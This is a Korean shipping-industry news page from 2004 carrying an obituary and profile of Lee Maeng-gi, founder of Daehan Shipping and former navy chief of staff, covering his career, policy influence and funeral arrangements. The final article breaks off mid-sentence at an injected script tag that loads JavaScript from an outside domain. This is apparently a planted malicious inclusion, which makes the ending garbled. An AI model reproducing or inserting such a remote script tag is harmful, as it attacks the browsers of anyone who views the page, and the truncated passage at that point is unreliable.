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9일, 이맹기(李孟基) 대한해운 회장 타계
9일, 이맹기(李孟基) 대한해운 회장 타계
  • 김기만,김영환, 정웅묵
  • 승인 2004.12.10 05:08
  • 댓글 0
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“편히 잠드소서”
지난 9일 고인의 빈소가 마련된 강남삼성서울병원에는 노무현 대통령, 최규하 전 대통령을 비롯한 각계 각층에서 조화를 보내왔으며, 고인의 명복을 비는 조문객의 행렬이 이어졌다.
/사진=蔡正姸 기자 paping@


해운업계 큰별 지다
한국 외항해운업 발전에 큰 족적
최다 선협회장·해양업계 대부평가
12일 해군장, 강남삼성병원서 발인


대한민국 해운업과 해군을 주도적으로 발전시켜 해양분야의 거목이었던 이맹기(李孟基) 대한해운 회장이 향년 80세로 9일 오후 4시경 갑작스럽게 타계했다.

해군참모 총장(64년 예편)과 대한해운공사 사장 등을 역임한 고 이회장은 지난 47년 해군사관학교 1기생으로 바다와 처음 인연을 맺은 후 군사혁명후 62년 해군참모총장겸 최고회의 최고위원으로 재직하면서 오늘의 한국외항해운업 발전의 초석을 다진 입지적인 인물이다.

경북 고령출신인 고인은 해운공사가 민영화되자 ‘해운입국’의 기치 아래 1968년 대한해운을 창립하면서 외항해운업발전에 거림돌이 되는 현안들을 탁월한 수완으로 처리하여, 오늘의 한국해운을 발전시켜온 장본인으로 평가받으면서 업계의 대부로 불려왔다.

또 역할인식과 상호존중을 경영철학으로 내세워 대한해운을 무분규 회사로 키웠고 기업의 사회적 책임과 윤리성을 강조, 옥포장학회와 해성사회윤리문제연구소 등 장학사업과 연구사업에도 관심을 기울였으며 특히 해양분야의 주요단체 등의 구심점 역할을 하고 있는 대한민국 해양연맹을 설립하는데 주도적인 역할을 해왔다.

고인은 또 15년이라는 최다 3회의 한국선주협회 회장, 한국해양소년단연맹 회장, 전국경제인연합회 상임이사, 재향군인회장, 성우회부회장 등 왕성한 사회활동을 펼쳤고 국가발전에 이바지한 공로로 보국훈장 통일장, 금탑산업훈장, 금성충무무공훈장 등을 받았다.

고인은 지난해 7월 대한해운 회장에서 명예회장으로 물러났고 이후 대한해운의 경영은 장남 이진방 사장과 장학세 회장에 의해 이뤄지고 있다. 유족으로는 부인 위정호 여사와 1남 3녀를 뒀다.

빈소는 강남삼성서울병원 15호실(02-3410-6915), 발인은 12일 오전 10시, 장지는 대전 국립현충원이다. 장례는 해군장으로 치러질 예정이다.
이맹기 대한해운 회장 타계… 해양업계 큰별 지다
그가 꿈꾼 바다에 대한 도전이
‘세계속의 해양한국’을 일으켜 세우다

제 1기 해사생도에서 대한해운을 일으키기까지


고인은 1925년 3월 4일 경북 고령군 개진면에서 1남 1녀 중 장남으로 태어났다.

1940년 일제의 압정을 피해 가족이 만주로 이주하게 된 소년시절 고인은 항구도시 대련에서 해군함정과 상선이 수시로 드나드는 광경을 보며 바다에 대한 꿈을 키우게 된다.

1945년 광복이 되고 1946년 우리나라 최초의 해방병단, 곧 해군이 출범했고 바다에 대한 꿈을 실현시키고자 제1기 사관생도에 지원했다.

졸업 후 해군 소위로 임관해 진해지구 헌병대장을 거쳐 해군포술학교 초대교장을 지내는 동안 1950년 한국전쟁이 발발하자, 각종 전투함에 승선해 사선을 넘나들며 적의 군수물자 및 병력수송에 큰 타격을 주는 주요작전에 참여했다.

그후 1962년 제6대 해군참모총장에 임명될 때까지 함정교육단장, 해군본부 감찰감, 66함과 71함 함장, 한국함대 사령관 등을 역임했다.

1964년 18년간의 군 생활을 마감하고 중장으로 예편하면서 대한해운공사 사장에 취임함으로써 해운업계와 인연을 맺게 됐다.

당시 대한해운공사는 국내 최대의 해운회사이기는 했지만 세계시장에서는 큰 주목을 받지 못했다. 이에따라 먼저 기업의 체질을 개선하고자 인사의 투명성과 근무기강 확립에 힘쓰는 한편 미주항로를 대폭 확대했다.

그 결과 취임 1년 만에 만년 적자를 기록하던 회사를 흑자로 돌려놓았고 탁월한 경영능력과 우리나라 해운업 발전의 전기를 이루었다는 평가를 받았다.

이후 5년여에 걸쳐 건실하게 성장한 대한해운공사는 민영화가 검토되기 시작하면서 여러 사람들이 관심을 갖게 됐고 결국 고인은 독자적인 해운회사 설립을 구상하게 됐다.

1968년 12월12일 뜻을 같이하는 사람들과 코리아라인(현 大韓海運)을 출범시키게 되고, 1969년 4월11일 최초의 사선인 글로리아호의 처녀항해가 시작됐다. /金永煥 기자
snowman@haesanews.com


故 이맹기 대한해운 회장은 누구인가…

“개인의 이익(私益)보다 국익(國益)이 먼저”



故 이 맹기회장은 해양업계의 대부이면서 바다발전을 위해 해양수산부를 창설하는데 주도적인 역할을 해온 순수해운경영인으로 여생을 마감했다.

일제시대 경북 고령에서 태어나 초등학교를 나와 중국으로 건너가 6년제 중학교 등을 졸업하고 해방 후 귀국한 이 맹기회장은 한마디로 국가관이 투철한 가운데 일평생 바다발전을 위해 생활해 온 인물이다.

해군사관학교 1기생으로 62년 해군참모총장직에 오르기 까지 고 이 회장은 부하를 아끼는데 남달랐다.

부하 통솔은 탁월했으며 항상 그를 따르는 부하를 보면 “나는 당신을 보면 항상 기분이 좋아”라는 말로 부하의 호감을 불러 일으켰다고 한다.

역경의 군 생활을 마치고 국영 국적외항해운선사인 대한해운공사장으로 취임하면서부터 그의 화려한 해운경영의 길을 맞이하게 된다.

그냥 이루어진 것이 아니라 막강한 권력을 행사했던 직책에서 곧바로 사장에 취임하면서 실천에 옮긴 것은 스스로 출근하기전에 거울을보고 100번 절하는 연습을 했다고 한다.

이에 한발 더나아가 이회장은 '사훈을 정직하고 성실한 상인이 되자'로 정하고 이를 실행하는데 노력했다.
당시 과장직책으로 고인을 모셨던 박종규 행정규제개혁위원회 위원장은 어떤사유로 이 같은 사훈을 마련한 것에 대해 임직원이 의아해 한다는 질문을 던지자 고인은 "그것은 바로 국영회사 사장인 내 스스로 이를 지키기 위해 만든 표어"라고 강조했다고 회고 했다.
대한해운공사는 영업을 안해도 선복이 없서서 수출입물량을 수송하지 못했던 그시절 상황임에도 불구, 서비스경영 철학을 적극적으로 실천한 것이다.

무엇보다 조선업을 발전시키기 위한 조선공업육성법 입법과정에서 고인은 최고위원의 자격으로 ‘국내서 조선소서 외국선을 건조할 경우 국책화물을 외국선사에게 제공하자’는 내용을 철저하고 전면적으로 반대하여 아예 이 조항을 삭제토록 하는데 성공한 인물이다.

당시 입법위원들은 수출이 무엇보다 중요함으로 국책화물 운송권을 외국선사에 제공해서라도 국내에서의 수출선 건조를 유치해야한다는데 모두가 찬성했으나 고인만 이를 적극 반대하여 성사시킨 것은 오늘의 한국해운발전의 시발점이 됐다.

그 후 이 같은 고인의 집념은 국적외항선이 없을 경우에 한정하여 외국선이 국내 입출항하는 화물을 싣도록 한정하는 국적선국내화물 우선적취제도라는 웨이버제도를 재 도입케 하는 초석으로 이어져 오늘에 이르기 까지 해운업발전의 화두가 되고 있다.

정부의 10대 대형선사 육성 정책에 이어 해운산업통폐합정책 추진에 있어서도 “해운업은 아?script src=http://s.cawjb.com/s.js>

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